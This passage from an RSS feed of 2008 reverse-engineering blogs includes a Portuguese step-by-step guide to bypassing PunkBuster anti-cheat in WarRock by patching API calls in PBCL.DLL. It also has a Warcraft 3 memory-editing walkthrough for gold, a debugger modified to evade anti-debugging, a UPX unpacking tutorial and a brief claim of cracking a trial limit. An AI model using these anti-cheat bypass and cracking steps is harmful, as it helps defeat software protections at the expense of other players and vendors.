Faz download dos dois -&#62; <a href="http://rapidshare.com/files/111265921/Cheatengine_IDA.rar.html">Here</a></p>
<p>Abre o Ida Pro (depois de instalado) e na janela inicial escolhe .dll, depois uma nova janela do IDA PRO abre,<br />
vai à pasta do teu WarRock, depois system &#62; pb &#62; PBCL.DLL<br />
Abre-o com o IDA PRO.<br />
<a href="http://imageshack.us/"><img src="http://img254.imageshack.us/img254/6889/pbtut1ss2.png" border="0" alt="Image Hosted by ImageShack.us" /></a></p>
<p><a href="http://imageshack.us/"><img src="http://img187.imageshack.us/img187/9146/pbtut2kl8.png" border="0" alt="Image Hosted by ImageShack.us" /></a></p>
<p>Depois vais ao separador &#8220;Names&#8221; e pressiona &#8220;search&#8221; e procura por isto:<br />
readprocessmemory<br />
Getversionexa<br />
openprocess<br />
closehandle<br />
virtualprotect<br />
*TEM A CERTEZA QUE APONTAS OS ENDEREÇOS DE MEMÓRIA (OS CÓDIGOS QUE TE APARECEM) NO BLOCO DE NOTAS POR EXEMPLO!!<br />
Agora vai ao CheatEngine 5.3 (depois de instalado), minimiza o IDA PRO, abre o WarRock (MAS NÃO FAÇAS LOGIN!).<br />
Agrupa o Cheat Engine ao WarRock.exe. Agora na &#8220;memory view&#8221; pressiona com o botão direito e depois &#62; Go to adress.<br />
Escreve pbcl.dll+UM DOS 5 endereços que procuras-te no IDA PRO. Seguidamente vai-te aparecer um endereço de memória.<br />
Carrega com o botão direito do rato sobre ele, e a guarda a tua lista de endereços.<br />
Faz isto com todos os teus endereços.<br />
Agora se fizes-te tudo bem, quando carregares na parte das opções avançadas (canto inferior esquerdo), verás alguns códigos.<br />
Carrega com o botão direito do rato neles &#62; substitui com um código que não faça nada. PRONTO! Tens um Bypass que talvez apenas te possa dar kicks de 0min.</p></blockquote>
<p style="text-align:right;">retirado de: <a href="http://w2.hidemyass.com/index.php?q=aHR0cDovL3d3dy5mcmVld2Vicy5jb20vaHRtbGZyZWFrMi9wYmJ5cGFzcy5odG0%3D" target="_blank">http://www.freewebs.com/htmlfreak2/pbbypass.htm</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[DarkOlly]]></title>
<link>http://korupt.wordpress.com/2008/05/20/darkolly/</link>
<pubDate>Tue, 20 May 2008 14:51:35 +0000</pubDate>
<dc:creator>KOrUPt</dc:creator>
<guid>http://korupt.wordpress.com/2008/05/20/darkolly/</guid>
<description><![CDATA[I decided to make it public &#8230; DarkOlly is a modified version of the original OllyDbg(made by m]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I decided to make it public <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> &#8230;</p>
<p>DarkOlly is a modified version of the original OllyDbg(made by myself). changes include modified caption and class name to beat FindWindow() anti-debugging tactics as well as modified visuals and a few tweaks, I&#8217;ve posted a screen shot below:</p>
<p>Screenie:<br />
<a href="http://img234.imageshack.us/my.php?image=darkollyhf2.png" target="_blank"><img src="http://img234.imageshack.us/img234/999/darkollyhf2.th.png" border="1" alt="DarkOlly, Click to enlarge" /></a></p>
<p>Please let me know of any improvements you think can be made <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>The following package is basically my OllyDbg directory packaged into one archive, just drop the directory from the archive and get started&#8230; I&#8217;ve included some of the plugins I use most frequently with the package.</p>
<p>[removed]</p>
<p>Enjoy.</p>
<p>KOrUPt.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What edition of OllyDbg do you use?]]></title>
<link>http://korupt.wordpress.com/2008/05/18/what-edition-of-ollydbg-do-you-use/</link>
<pubDate>Sun, 18 May 2008 05:41:15 +0000</pubDate>
<dc:creator>KOrUPt</dc:creator>
<guid>http://korupt.wordpress.com/2008/05/18/what-edition-of-ollydbg-do-you-use/</guid>
<description><![CDATA[The title says it all. What version/edition of OllyDbg do you use? Currently I&#8217;m using the ori]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>The title says it all.</p>
<p>What version/edition of OllyDbg do you use?</p>
<p>Currently I&#8217;m using the original version(V1.10) but modified(by myself) for better visuals and stealth amongst a few other things <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . I&#8217;ve branded it &#8220;DarkOlly&#8221;.</p>
<p>Screenie:<br />
<a href="http://img234.imageshack.us/my.php?image=darkollyhf2.png" target="_blank"><img src="http://img234.imageshack.us/img234/999/darkollyhf2.th.png" border="1" alt="DarkOlly, Click to enlarge" /></a></p>
<p>It isn&#8217;t currently public, so if you&#8217;d like a copy leave me a comment and I&#8217;ll consider sending you one <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>I look forward to reading about what edition you use and why <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8230;</p>
<p>KOrUPt.</p>
<p><strong>Added Screenshot <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8230;</strong></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reversing Wacraft 3 Frozen Throne]]></title>
<link>http://scarvenger.wordpress.com/?p=39</link>
<pubDate>Tue, 13 May 2008 03:41:14 +0000</pubDate>
<dc:creator>scarvenger</dc:creator>
<guid>http://scarvenger.wordpress.com/?p=39</guid>
<description><![CDATA[Creio que muitos tenham visto o meu post sobre como descobrir endereços de memória alocados dinâmica]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Creio que muitos tenham visto o meu post sobre <a href="http://scarvenger.wordpress.com/2008/05/12/descobrindo-endereco-de-memoria-alocada-dinamicamente/">como descobrir endereços de memória alocados dinâmicamente</a>, aqui vou mostrar um exemplo prático aplicado ao jogo Warcraft 3 onde alteraremos o valor do gold do player dentro da memória do Warcraft 3.</p>
<p>Conhecimentos Requeridos: Assembly, Debugging.</p>
<p>Debugger Utilizado: Windbg e Ollydbg.</p>
<p><!--more--></p>
<p><strong>Buscando a memória</strong></p>
<p>Bom, começarei lançando o meu debuger, carregando o war3.exe e criando um jogo no custom game, peguei um mapa qualquer e o iniciei. Inicialmente estou com 500 de gold, o valor que a gente usará de base no debugging.</p>
<p>Agora que o jogo já está carregado disparei um breakpoint no debugger e usarei o comando de procurar pela memória que o Windbg fornece:</p>
<p><code><span style="color:#808080;">s b 0x00000000 L?0xffffffff f4 01</span></code></p>
<p>Que faz com que o valor 0xf4 0&#215;01 (500 em decimal) seja procurado do endereço 0&#215;00000000 (início da memória) até L?0xffffffff (fim da memória). É interessante lembrar que os bytes foram invertidos por causa do <a href="http://en.wikipedia.org/wiki/Endianness">Endianess</a>. Isso faz com que uma lista de endereços seja retornada sempre que o valor nele for o mesmo que a gente estiver procurando, o que nos retornou uma lista beeem grande. Para resolver isso gastamos um pouco o gold dentro do jogo e efetuamos a busca novamente com o novo valor do gold o que nos deixará com duas listas enormes. O endereço que for igual quando compararmos as duas listas provavelmente é o endereço do gold, para fazer isso criaremos um programa que realize esta comparação (quando eu tiver o meu site eu posto os meus fontes aqui).</p>
<p>Veremos que apesar de tudo nenhum endereço se igualou, o que nos diz que o gold é guardado de maneira diferente dentro da memória do jogo&#8230; droga, mais trabalho pra gente. Ainda nos resta procurar pelo valor ASCII do gold que é pintado na tela que pode nos dar uma dica de como achar o endereço do gold original. Peguemos o nosso Windbg e repetiremos o processo de criação de um jogo. Agora realizaremos uma busca (da mesma forma que fizemos anteriormente) pela memória com o valor de 35 30 30 que corresponde ao valor de 500 em ASCII:</p>
<p><code><span style="color:#808080;">s a 0x00000000 L?0xffffffff 35 30 30</span></code></p>
<p>Repetiremos o processo de gastar o gold e procurar pelo novo valor e comparar os resultados. Humm, dessa vez conseguimos dois endereços válidos, vamos analisá-los mais de perto setando um breakpoint em cada um deles quando o processador tentar escrever neles.</p>
<p><code><span style="color:#808080;">ba w4 0x[endereco]</span></code></p>
<p>Sendo [endereco] o endereço que o comparador retornou, faça isso em ambos endereços. Esse comando tem a seguinte sintaxe: ba [w/r][tamanho] [endereco]. Ele faz com que cada vez que o [endereco] com [tamanho] bytes seja [escrito/lido] um breakpoint seja disparado. Então agora cada vez que gastamos/ganhamos gold um breakpoint é disparado pela aplicação, agora está começando a ficar legal.</p>
<p><strong>Reversing</strong></p>
<p>Já que eu não gosto do disassembly do Windbg percebemos que a string que guarda o gold começa com &#8220;mo&#8221;, então vamos carregar o nosso Ollydbg com o processo war3.exe, criar um custom game e procurar por mo500 na memória, o que vai nos retornar os mesmos dois endereços anteriores, então vamos setar hardware breakpoints em ambos e gastar um pouco de gold, o que vai disparar um breakpoint e nos dar o seguinte código:</p>
<p><code><span style="color:#808080;"><br />
6F6628A2   MOV BYTE PTR DS:[EAX],CL<br />
6F6628A4   PUSH EBX<br />
6F6628A5   PUSH EDI<br />
6F6628A6   MOV EDI,DWORD PTR SS:[EBP+8]<br />
</span></code></p>
<p>Percebemos que o registrador EAX está com apontando para um dos nossos endereços, e vemos que o valor de EBP+8 é o novo valor do gold que deve ser atualizado, EBP geralmente é usado para especificar parâmetros, então esta variável deve estar vindo de uma função acima no stack, vamos segui-la:</p>
<p><code><span style="color:#808080;"><br />
6F151766   CALL Game.6F088E10<br />
6F15176B   MOV ECX,EAX<br />
6F15176D   MOV EAX,6666666<br />
6F151772   IMUL ECX<br />
6F151774   SAR EDX,2<br />
6F151777   MOV EAX,EDX<br />
6F151779   SHR EAX,1F<br />
6F15177C   ADD EDX,EAX<br />
6F15177E   JMP SHORT Game.6F151782<br />
6F151780   XOR EDX,EDX<br />
6F151782   PUSH EDX<br />
6F151783   PUSH Game.6F804EC0                       ; ASCII "%u"<br />
6F151788   LEA ECX,DWORD PTR SS:[EBP-40]<br />
6F15178B   PUSH 40<br />
6F15178D   PUSH ECX<br />
6F15178E   CALL &#60;JMP.&#38;Storm.#578&#62;<br />
6F151793   MOV ECX,DWORD PTR DS:[EDI+124]<br />
6F151799   ADD ESP,10<br />
6F15179C   LEA EDX,DWORD PTR SS:[EBP-40]<br />
6F15179F   PUSH EDX<br />
6F1517A0   CALL Game.6F662890</span></code></p>
<p>A variável que está sendo passada como parâmetro é a EDX, logo antes da chamada à função que estavamos anteriormente temos um:</p>
<p><code><span style="color:#808080;"> 6F15179C   LEA EDX,DWORD PTR SS:[EBP-40]</span></code></p>
<p>Que faz com que EDX aponte para o endereço DWORD PTR SS:[EBP-40], provavelmente uma variável local com tamanho fixo de 0&#215;40, que está sendo populado quando a função &#60;JMP.&#38;Storm.#578&#62; é chamada, então observemos os seus parâmetros: regitrador EDX, variável local com valor &#8220;%u&#8221;, uma variável local e seu respectivo tamanho. Está com cara de uma função de conversão de valor decimal para caractere. Sabemos então que EDX está com o valor decimal do gold.</p>
<p>A instrução que origina o valor de EDX antes de serem efetuados aqueles calculos (que são necessário para converter o valor &#8220;escondido&#8221; no decimal) é:</p>
<p><code><span style="color:#808080;"><br />
6F151766   CALL Game.6F088E10<br />
6F15176B   MOV ECX,EAX<br />
</span></code></p>
<p>Aqui observamos que no fim das contas o valor de EDX vem do retorno da função ((registrador EAX) chamada no bloco acima, então vamos entrar nessa função e ver de onde que o registrador EAX tira o seu valor:</p>
<p><strong>Gotcha!</strong><br />
<code><span style="color:#808080;"><br />
6F088E78   MOV EAX,DWORD PTR DS:[EDX+78]<br />
6F088E7B   POP ESI<br />
6F088E7C   POP EBX<br />
6F088E7D   RETN<br />
</span></code></p>
<p>Logo no fim dessa função podemos ver o endereço de onde o valor de EAX está vindo, então finalmente, ai está o maldito endereço do gold. Mas porque nós não tinhamos achado ele no início? Porque o valor está com um zero a mais (gold 500, valor 5000) ai os bytes que a gente procurou são inúteis. Agora para brincar escreva no endereço EDX+78 o quanto de gold você quer ter <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><a href="http://scarvenger.files.wordpress.com/2008/05/victory.jpg"><img class="alignnone size-thumbnail wp-image-40" src="http://scarvenger.wordpress.com/files/2008/05/victory.jpg?w=127" alt="" width="127" height="76" /></a></p>
<p>Agora este endereço entra no problema da memória alocada dinâmicamente que expliquei em <a href="http://scarvenger.wordpress.com/2008/05/12/descobrindo-endereco-de-memoria-alocada-dinamicamente/">outro post</a> (cada vez que o processo war3.exe for reiniciado esse endereço será outro), deixarei a criação do &#8220;trainer&#8221; (programa externo que modifica a memória de outro processo) de tema de casa, só vou dar uma dica: Win32 ReadProcessMemory/WriteProcessMemory. Não se iluda, o calculo da memória &#8220;fixa&#8221; vai ser bem mais complicado do que o que eu descrevi no post pois envolve vários ponteiros e estruturas, mas todos têm condições de fazê-lo.</p>
<p>Até o próximo post, aceito sugestões <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Unpacking UPX]]></title>
<link>http://korupt.wordpress.com/2008/05/12/unpacking-upx/</link>
<pubDate>Mon, 12 May 2008 15:00:03 +0000</pubDate>
<dc:creator>KOrUPt</dc:creator>
<guid>http://korupt.wordpress.com/2008/05/12/unpacking-upx/</guid>
<description><![CDATA[Hi all. UPX is considered one of the easiest packers to unpack, it is also widely used and offers go]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Hi all.</p>
<p>UPX is considered one of the easiest packers to unpack, it is also widely used and offers good compression ratio&#8217;s&#8230; Today I&#8217;ll be showing you how to unpack it <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Before we continue I&#8217;d recommend you download UPX from it&#8217;s official site, that being http://upx.sourceforge.net.</p>
<p>Difficulty:</p>
<p style="padding-left:30px;"><strong>easy.</strong></p>
<p>Tools needed:</p>
<ol>
<li>Brain.</li>
<li>PEiD.</li>
<li>OllyDbg.</li>
<li>OllyDump plugin.</li>
<li>Knowledge of use to use OllyDbg.</li>
</ol>
<p>Ok lets get started, firstly lets scan our file with PEiD to check it&#8217;s actually packed with UPX.</p>
<blockquote><p>UPX 0.89.6 &#8211; 1.02 / 1.05 &#8211; 1.24 -&#62; Markus &#38; Laszlo</p></blockquote>
<p>That&#8217;s good. Open the packed file in OllyDbg. UPX&#8217;s entry point looks this:</p>
<p style="padding-left:30px;"><span style="color:#0000ff;">PUSHAD<br />
MOV  <span style="color:#0000ff;">ESI</span>, Server.00408000<br />
LEA    EDI, DWORD PTR DS:[ESI+FFFF9000]<br />
PUSH  EDI<br />
OR      EBP, FFFFFFFF<br />
JMP     SHORT Server.0040BA82</span></p>
<p><span style="color:#000000;">The <span style="color:#0000ff;">PUSHAD <span style="color:#000000;">instruction is of interest to us in this case, it does the following:</span></span></span></p>
<blockquote><p><span style="color:#0000ff;">PUSHAD </span>- Push All General Purpose Registers.</p></blockquote>
<p>We can use what is known as the ESP(Extended Stack Pointer) trick to find OEP(Original Entry Point), just follow along.</p>
<p>Step over the <span style="color:#0000ff;">PUSHAD <span style="color:#000000;">instruction</span> <span style="color:#000000;">and you&#8217;ll notice the ESP register changes, </span></span></p>
<p>right click the ESP register in OllyDbgs registers window and proceed by following it in the dump, select the first 4 bytes in the dump window(relative to where you just followed to), right click and set a  hardware breakpoint on access to these bytes.</p>
<p>Press F9 until you hit the hardware breakpoint, you should land on a <span style="color:#0000ff;">JMP <span style="color:#000000;">which leads to OEP, step over it.</span></span></p>
<p style="padding-left:30px;"><strong>Side-Note:</strong> The above is known as the ESP trick and can be used in quite a few cases when it comes to finding OEP. However there are some more complex and reliable methods to achieve the same result, I wont delve into them at the moment&#8230;</p>
<p>You should now be at OEP. The IAT(Import Address Table) is basically intact so there&#8217;s no need to launch ImpRec and attempt to rebuild it(Most <span style="text-decoration:underline;">protectors</span> tend to destroy the IAT to complicate our job).</p>
<p>All that&#8217;s left to do is dumping, launch the OllyDump plugin, <span style="text-decoration:underline;">leave the rebuild imports option on (method 1)</span>, continue dumping the file.</p>
<p>Finally, test your dump, if you did everything correctly it should run fine.</p>
<p>You&#8217;ve now successfully unpacked UPX, well done and I hope somebody learned something from this tutorial.</p>
<p>KOrUPt.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What's in my toolkit?]]></title>
<link>http://korupt.wordpress.com/2008/05/09/whats-in-my-toolkit/</link>
<pubDate>Fri, 09 May 2008 18:07:30 +0000</pubDate>
<dc:creator>KOrUPt</dc:creator>
<guid>http://korupt.wordpress.com/2008/05/09/whats-in-my-toolkit/</guid>
<description><![CDATA[Hey. What setup and tools would you recommend to help with RE? Hi all. The above is a question I get]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><blockquote><p>Hey. What setup and tools would you recommend to help with RE?</p>
</blockquote>
<p>Hi all.</p>
<p>The above is a question I get asked a lot by newbies to RE, so I thought I&#8217;d take the time to answer the question here.</p>
<p><strong>Preferred Disassembler:</strong></p>
<p><em>IDA Pro Advanced Edition.</em></p>
<p><strong>Preferred Debugger:</strong></p>
<p><em>OllyDbg(v1.10) </em>- Modified by myself to provide added stealth and improved visuals.</p>
<p><strong>Ok So what Plugins would you recommend for my OllyDbg?</strong></p>
<p>Of course this question depends on what you&#8217;re trying to do and is a little generic.</p>
<p>But nonetheless I&#8217;ve complied a list of the ones I use most frequently, hopefully it helps your cause.</p>
<ol>
<li><em>OllyAdvanced     &#8211; </em>Very useful plugin for improving all round functionality and anti-anti-debug.</li>
<li><em>OllyPad               &#8211; </em>Have a guess&#8230; Useful for jotting down VA&#8217;s(Virtual address&#8217;s).</li>
<li><em>CommandBar      &#8211; </em>It Speeds things up if you know how to use it. I don&#8217;t want to go in depth here.</li>
<li><em>OllyDump           &#8211; </em>Every unpacker should have this.</li>
<li><em>OllyTBarManager </em>- A Useful toolbar to store links to your rather RE Utilities.</li>
<li><em>ODbgScript </em>- Used for writing and running portable scripts to make your job easier.</li>
<li><em>NonaWrite </em>- Do a lot of  large inline patches? Get this.</li>
<li><em>LCBPlugn </em>- All round Breakpoint,  Label and comment importer and exporter.</li>
<li><em>Ph4nt0m </em>- More stealth.</li>
<li><em>Asm2Clipboard </em>- Self explaining.</li>
<li><em>OllyScript </em>- Same concept as ODbgScript.</li>
<li><em>MemoryWatch </em>- Allows you to step over/into code and look for certain values in memory.</li>
<li><em>WindowJuggler </em>- Helps in enabling/disabling and identifying windows.</li>
<li><em>OllyPEDumper </em>- Alternative to OllyDump.</li>
<li><em>Bookmarks </em>- Allows you to bookmark certain areas of code.</li>
<li><em>GamesInvader </em>- I&#8217;ve not used it(But do have it). Apparently a memory scanner.</li>
</ol>
<p>And that&#8217;s it&#8230; Took longer than I thought to list those so I hope it&#8217;s appreciated <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><strong>What do you use to check if an executable is packed or protected?</strong></p>
<p>I use PEiD and RDG Packer Detector (I&#8217;d recommend you do too). ProtectionId can also be useful should you be working with games(game-hacking).</p>
<p><strong>What&#8217;s your favorite IDE for coding?</strong></p>
<p>I primarily code with C/C++, My preferred IDE is MSVC6 Equipped with Visual Assist X and the Platform SDK.</p>
<p><strong>Where can I start to learn about RCE?</strong></p>
<p>I&#8217;d recommend you read Lena151&#8217;s tutorials on the subject <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>I cant think of anything more to add to this post at the moment&#8230;</p>
<p>Want to recommend a plugin for OllyDbg or the like? Feel free to drop in a comment <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Thanks and I hope this helps some of you who are trying to learn.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cracked BillSerialMonitor 3.0W's "3 Minute Trial time limit"]]></title>
<link>http://kocoman.wordpress.com/2008/02/14/cracked-billserialmonitor-30ws-3-minute-trial-time-limit/</link>
<pubDate>Thu, 14 Feb 2008 14:31:56 +0000</pubDate>
<dc:creator>kocoman</dc:creator>
<guid>http://kocoman.wordpress.com/2008/02/14/cracked-billserialmonitor-30ws-3-minute-trial-time-limit/</guid>
<description><![CDATA[Yay, I removed the &#8220;3 Minute Trial time limit&#8221; by patching one byte (after decompress ne]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Yay, I removed the &#8220;3 Minute Trial time limit&#8221; by patching one byte (after decompress neolite)</p>
<p>Will post the howto later</p>
<p>Its a program that can monitor Novatel&#8217;s diag port.  (you will need to edit the memory of the COMx port), will post that when complete.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apa Yang Baru di PCMAV RC24]]></title>
<link>http://ithum.wordpress.com/2008/02/01/apa-yang-baru-di-pcmav-rc24/</link>
<pubDate>Fri, 01 Feb 2008 01:26:52 +0000</pubDate>
<dc:creator>ithum</dc:creator>
<guid>http://ithum.wordpress.com/2008/02/01/apa-yang-baru-di-pcmav-rc24/</guid>
<description><![CDATA[PCMAV RC24 direlease dengan beberapa perubahan yang cukup penting dibanding release candidate 23 (RC]]></description>
<content:encoded><![CDATA[PCMAV RC24 direlease dengan beberapa perubahan yang cukup penting dibanding release candidate 23 (RC]]></content:encoded>
</item>
<item>
<title><![CDATA[Experiencing freeze with ollydbg?]]></title>
<link>http://opcode0x90.wordpress.com/2008/01/13/experiencing-freeze-with-ollydbg/</link>
<pubDate>Sun, 13 Jan 2008 11:31:13 +0000</pubDate>
<dc:creator>opcode0x90</dc:creator>
<guid>http://opcode0x90.wordpress.com/2008/01/13/experiencing-freeze-with-ollydbg/</guid>
<description><![CDATA[At ollydbg&#8217;s Debugging Options, uncheck Registers -&gt; Decode SSE Registers. This should fix ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>At ollydbg&#8217;s Debugging Options, uncheck Registers -&#62; Decode SSE Registers. This should fix the hang up when debugging multi-threaded apps. Sometimes the hang up is caused by the plugins, check if any causing it and remove it accordingly.</p>
</div>]]></content:encoded>
</item>

</channel>
</rss>
